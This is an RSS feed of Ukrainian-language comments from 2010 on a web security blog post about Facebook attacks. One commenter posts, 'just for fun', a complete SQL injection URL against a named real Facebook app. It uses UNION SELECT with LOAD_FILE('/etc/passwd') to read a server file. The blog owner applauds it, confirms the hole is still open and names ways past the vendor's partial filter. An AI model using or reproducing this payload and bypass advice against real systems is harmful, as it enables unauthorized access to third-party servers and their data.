Коментарі для запису: Новини: російські хакери, атаки в Facebook та студент-хакер http://websecurity.com.ua/4424/ Sat, 18 Apr 2026 13:19:59 +0000 http://wordpress.org/?v=MustLive Edition від: MustLive http://websecurity.com.ua/4424/#comment-330854 Mon, 02 Aug 2010 18:13:17 +0000 http://websecurity.com.ua/4424/#comment-330854 Так вони молодці. <blockquote>взагалі в аппс на фейсі багато скулій. декілька разів на них натикався.</blockquote> Так може ти знайдеш там свою нову SQLi і похакаєш Facebook як це двічі зробили хлопці з Inj3ct0r team :-). Схоже, що на apps хостяться скрипти різних розробників додатків під Facebook, тому й дірок там багато. Компанії варто більше слідкувати за безпекою і також перевіряти всі скрипти від сторонніх розробників. Так вони молодці.

взагалі в аппс на фейсі багато скулій.
декілька разів на них натикався.

Так може ти знайдеш там свою нову SQLi і похакаєш Facebook як це двічі зробили хлопці з Inj3ct0r team :-) .

Схоже, що на apps хостяться скрипти різних розробників додатків під Facebook, тому й дірок там багато. Компанії варто більше слідкувати за безпекою і також перевіряти всі скрипти від сторонніх розробників.

]]> від: spayder http://websecurity.com.ua/4424/#comment-330827 Mon, 02 Aug 2010 13:43:11 +0000 http://websecurity.com.ua/4424/#comment-330827 так саме вони. взагалі в аппс на фейсі багато скулій. декілька разів на них натикався. так саме вони.
взагалі в аппс на фейсі багато скулій.
декілька разів на них натикався.

]]> від: MustLive http://websecurity.com.ua/4424/#comment-330826 Mon, 02 Aug 2010 13:36:40 +0000 http://websecurity.com.ua/4424/#comment-330826 Як я виявив, це одна з уразливостей нещодавно знайдених Inj3ct0r team на Facebook ;-). Вони молодці, вже друге знаходять серйозні дірки на Facebook. Як я виявив, це одна з уразливостей нещодавно знайдених Inj3ct0r team на Facebook ;-) . Вони молодці, вже друге знаходять серйозні дірки на Facebook.

]]> від: MustLive http://websecurity.com.ua/4424/#comment-330825 Mon, 02 Aug 2010 13:12:49 +0000 http://websecurity.com.ua/4424/#comment-330825 <strong>spayder</strong> Молодець. Ти сам знайшов дірку, я сподіваюся :-). <a href="/2034/" rel="nofollow">XSS на Facebook</a> я знаходив (на основному домені facebook.com), але SQLi (нехай і на домені apps.facebook.com) - це круто. І це несерйозно для Facebook мати такі дірки. Зазначу, що вони спробували частково пофіксити дірку - прибрали можливість використовувати одинарні лапки разом зі слешами для вказання шляху (блокують). Але це обходиться (методом з 16-м записом, або методом з char). Хоча, як я перевірив, одинарні лапки працюють, просто це в них періодично блокування виникає (з обхідними методами також іноді виникає блокування, але рідше). Так що виправити дірку вони поки ще не спромоглися. spayder

Молодець. Ти сам знайшов дірку, я сподіваюся :-) .

XSS на Facebook я знаходив (на основному домені facebook.com), але SQLi (нехай і на домені apps.facebook.com) - це круто. І це несерйозно для Facebook мати такі дірки.

Зазначу, що вони спробували частково пофіксити дірку - прибрали можливість використовувати одинарні лапки разом зі слешами для вказання шляху (блокують). Але це обходиться (методом з 16-м записом, або методом з char). Хоча, як я перевірив, одинарні лапки працюють, просто це в них періодично блокування виникає (з обхідними методами також іноді виникає блокування, але рідше). Так що виправити дірку вони поки ще не спромоглися.

]]> від: spayder http://websecurity.com.ua/4424/#comment-330791 Sun, 01 Aug 2010 22:09:10 +0000 http://websecurity.com.ua/4424/#comment-330791 j4f http://apps.facebook.com/myhotdeals/promo.php?promoid=150+AND+1=2+UnIoN+aLL+SeLeCt+1,2,3,4,5,LOAD_FILE('/etc/passwd'),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- j4f
http://apps.facebook.com/myhotdeals/promo.php?promoid=150+AND+1=2+UnIoN+aLL+SeLeCt+1,2,3,4,5,LOAD_FILE(’/etc/passwd’),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30–

]]>